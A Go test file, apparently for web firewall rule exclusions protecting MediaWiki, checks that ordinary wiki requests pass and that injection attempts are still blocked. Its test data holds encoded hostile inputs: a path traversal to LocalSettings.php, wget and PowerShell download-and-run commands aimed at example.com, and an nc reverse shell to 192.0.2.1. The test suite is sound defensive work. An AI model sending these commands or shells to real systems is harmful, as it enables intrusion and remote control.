check / check (push) In progress
Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and the body of a PUT there, an uploaded file, is not read. The cookie nc_username, and the fields that carry a search, a name, a file name or a folder, skip the four rules that read them as commands or system files. Comments, a share's note, a status and a document's text also skip the rules that refused ordinary sentences, and the document the two that refused a shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync client 3.16.7 and the OCS API pass at the defaults and while bodies are read. Model: opus-5-5
419 lines
14 KiB
Go
419 lines
14 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"slices"
|
|
"testing"
|
|
)
|
|
|
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const mediawikiThreshold = 5
|
|
|
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
|
|
|
// mediawikiAPI is MediaWiki's API.
|
|
const mediawikiAPI = "/api.php"
|
|
|
|
// mediawikiRESTPage is a page in MediaWiki's REST API.
|
|
const mediawikiRESTPage = "/rest.php/v1/page/Example"
|
|
|
|
// mediawikiUpload is MediaWiki's upload page.
|
|
const mediawikiUpload = "/wiki/Special:Upload"
|
|
|
|
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
|
|
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
|
|
|
|
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
|
|
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
|
|
|
|
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
|
|
// to.
|
|
const mediawikiBlock = "/wiki/Special:Block"
|
|
|
|
// mediawikiProtect is the address MediaWiki's form for protecting a page
|
|
// posts to.
|
|
const mediawikiProtect = "/index.php?title=Example&action=protect"
|
|
|
|
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
|
|
// URLs posts its sign-in and upload forms.
|
|
const (
|
|
mediawikiSignInPage = "/index.php/Special:UserLogin"
|
|
mediawikiUploadPage = "/index.php/Special:Upload"
|
|
)
|
|
|
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
|
}
|
|
|
|
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
|
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
|
|
// path where it skips them, ending in "=".
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiQueryFields = []string{
|
|
"/index.php?title=",
|
|
"/index.php?title=Special:Search&search=",
|
|
"/wiki/Special:WhatLinksHere?target=",
|
|
"/wiki/Special:Log?page=",
|
|
"/wiki/Special:Log?user=",
|
|
"/wiki/Special:ListUsers?username=",
|
|
"/wiki/Special:AllPages?from=",
|
|
"/wiki/Special:AllPages?to=",
|
|
"/wiki/Special:PrefixIndex?prefix=",
|
|
mediawikiSignIn + "&returnto=",
|
|
mediawikiSignIn + "&returntoquery=",
|
|
"/wiki/Special:ListFiles?ilsearch=",
|
|
"/wiki/Special:FileDuplicateSearch?filename=",
|
|
mediawikiUpload + "?wpDestFile=",
|
|
"/wiki/Special:BlockList?wpTarget=",
|
|
"/index.php?title=Special:BlockList&wpTarget=",
|
|
"/w/index.php?title=Special:Search&search=",
|
|
"/index.php/Special:AllPages?from=",
|
|
"/w/index.php/Special:Search?search=",
|
|
"/api.php?action=opensearch&search=",
|
|
"/api.php?action=query&list=search&srsearch=",
|
|
"/api.php?action=query&list=prefixsearch&pssearch=",
|
|
"/api.php?action=query&generator=prefixsearch&gpssearch=",
|
|
"/api.php?action=query&generator=search&gsrsearch=",
|
|
"/api.php?action=query&titles=",
|
|
"/api.php?action=parse&page=",
|
|
"/api.php?action=query&list=allpages&apfrom=",
|
|
"/api.php?action=query&list=allpages&apto=",
|
|
"/api.php?action=query&list=allpages&apprefix=",
|
|
"/api.php?action=query&generator=allpages&gapfrom=",
|
|
"/api.php?action=query&generator=allpages&gapto=",
|
|
"/api.php?action=query&generator=allpages&gapprefix=",
|
|
"/api.php?action=query&generator=allimages&gaifrom=",
|
|
"/api.php?action=query&generator=allimages&gaiprefix=",
|
|
"/api.php?action=query&list=allimages&aifrom=",
|
|
"/api.php?action=query&list=allimages&aiprefix=",
|
|
"/api.php?action=query&list=allusers&aufrom=",
|
|
"/api.php?action=query&list=allusers&auprefix=",
|
|
"/api.php?action=query&list=backlinks&bltitle=",
|
|
"/api.php?action=query&generator=backlinks&gbltitle=",
|
|
"/api.php?action=query&list=exturlusage&euquery=",
|
|
"/api.php?action=query&generator=exturlusage&geuquery=",
|
|
"/api.php?action=query&list=logevents&letitle=",
|
|
"/api.php?action=query&list=usercontribs&ucuser=",
|
|
"/api.php?action=query&list=blocks&bkusers=",
|
|
"/w/api.php?action=opensearch&search=",
|
|
"/rest.php/v1/search/title?q=",
|
|
"/rest.php/v1/search/page?q=",
|
|
}
|
|
|
|
// mediawikiAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2FLocalSettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
targets := append([]string{"/index.php?id=", "/load.php?modules="},
|
|
mediawikiQueryFields...)
|
|
|
|
for _, attack := range mediawikiAttacks {
|
|
for _, target := range targets {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// mediawikiBodyField is a field of a form data body, sent to a path.
|
|
type mediawikiBodyField struct{ target, field string }
|
|
|
|
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
|
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
|
|
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
|
|
// a path where it skips them.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiBodyFields = []mediawikiBodyField{
|
|
{mediawikiEdit, "wpSummary="},
|
|
{mediawikiUpload, "wpUploadDescription="},
|
|
{mediawikiUpload, "wpDestFile="},
|
|
{mediawikiSignIn, "wpName="},
|
|
{mediawikiSignIn, "wpPassword="},
|
|
{mediawikiMove, "wpOldTitle="},
|
|
{mediawikiMove, "wpNewTitleMain="},
|
|
{mediawikiMove, "wpReason="},
|
|
{mediawikiBlock, "wpTarget="},
|
|
{mediawikiSignInPage, "wpName="},
|
|
{"/w" + mediawikiSignInPage, "wpPassword="},
|
|
{mediawikiUploadPage, "wpDestFile="},
|
|
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
|
|
{mediawikiAPI, "title="},
|
|
{mediawikiAPI, "from="},
|
|
{mediawikiAPI, "to="},
|
|
{mediawikiAPI, "summary="},
|
|
{mediawikiAPI, "sectiontitle="},
|
|
{mediawikiAPI, "filename="},
|
|
{mediawikiAPI, "comment="},
|
|
{mediawikiAPI, "reason="},
|
|
{mediawikiAPI, "user="},
|
|
{mediawikiAPI, "lgname="},
|
|
{mediawikiAPI, "lgpassword="},
|
|
{mediawikiAPI, "username="},
|
|
{mediawikiAPI, passwordField},
|
|
}
|
|
|
|
// mediawikiReasonFields are the reasons on the admin pages, which skip only
|
|
// 930120 and 932120.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiReasonFields = []mediawikiBodyField{
|
|
{mediawikiBlock, "wpReason-other="},
|
|
{"/index.php/Special:UserRights", "user-reason="},
|
|
{mediawikiProtect, "mwProtect-reason="},
|
|
}
|
|
|
|
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
|
|
// list of titles in, one per line.
|
|
//
|
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
var mediawikiWatchlist = mediawikiBodyField{
|
|
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
|
|
}
|
|
|
|
// mediawikiWikitextFields are the form data fields that hold wikitext.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var mediawikiWikitextFields = []mediawikiBodyField{
|
|
{mediawikiEdit, "wpTextbox1="},
|
|
{mediawikiAPI, "text="},
|
|
{mediawikiAPI, "appendtext="},
|
|
{mediawikiAPI, "prependtext="},
|
|
}
|
|
|
|
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
|
|
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
|
|
|
|
for _, attack := range mediawikiAttacks {
|
|
for _, sent := range fields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
} {
|
|
for _, field := range []string{"source", "comment"} {
|
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
|
body := `{"` + field + `":"` + attack + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
|
|
// fields that skip the other command rules, as a query value.
|
|
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
|
|
|
for _, target := range targets {
|
|
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
|
|
crs = readingBodies(t)
|
|
|
|
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
|
body := `{"comment":"; wget http://example.com/x.sh"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
|
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
|
// it once.
|
|
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
|
|
for _, attack := range []string{
|
|
mediawikiCommandAttack,
|
|
"Example%0D%0A" + mediawikiCommandAttack,
|
|
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
|
|
"Example%0D%0A%24%28id%29",
|
|
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
|
|
"%3B%20sh%20-i",
|
|
"%26%26%20sh%20-i",
|
|
"%7C%7C%20sh%20-i",
|
|
"%60sh%20-i%60",
|
|
"%3B%20ls%20-la%20%2F",
|
|
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
|
|
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
|
|
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
|
|
} {
|
|
body := mediawikiWatchlist.field + attack
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, value := range hardValues {
|
|
for _, target := range mediawikiQueryFields {
|
|
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
|
|
t.Errorf("%s%s refused: %+v", target, value, got)
|
|
}
|
|
}
|
|
|
|
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
|
|
mediawikiWikitextFields...)
|
|
|
|
for _, sent := range fields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
|
|
// A reason names the command or file in a sentence, as recorded.
|
|
for _, sent := range mediawikiReasonFields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
|
|
}
|
|
}
|
|
|
|
// A watchlist holds the title on its second line, as recorded.
|
|
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
|
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
|
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, refused := range []string{
|
|
"/?search=python3",
|
|
"/index.php?search=python3",
|
|
"/index.php?title=Example&other=python3",
|
|
"/other.php?title=python3",
|
|
"/api.php?other=python3",
|
|
"/rest.php/v1/search/title?other=python3",
|
|
"/?q=python3",
|
|
"/load.php?other=.htaccess",
|
|
"/x/api.php?search=python3",
|
|
"/x/index.php/Example?search=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
|
|
crs = readingBodies(t)
|
|
|
|
// An uploaded file named .htaccess is still refused off MediaWiki's
|
|
// paths.
|
|
r := request{
|
|
http.MethodPost, "/upload.php",
|
|
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
|
}
|
|
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
|
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
for _, target := range []string{
|
|
mediawikiAPI, mediawikiUpload,
|
|
mediawikiUploadPage, "/w" + mediawikiUploadPage,
|
|
} {
|
|
r.target = target
|
|
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
|
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ target, field string }{
|
|
{mediawikiEdit, "wpTextbox1=python3"},
|
|
{mediawikiEdit, "wpSummary=python3"},
|
|
{mediawikiSignIn, "wpPassword=python3"},
|
|
{mediawikiProtect, "mwProtect-reason=.htaccess"},
|
|
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
|
{mediawikiAPI + "?action=edit", "text=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < mediawikiThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|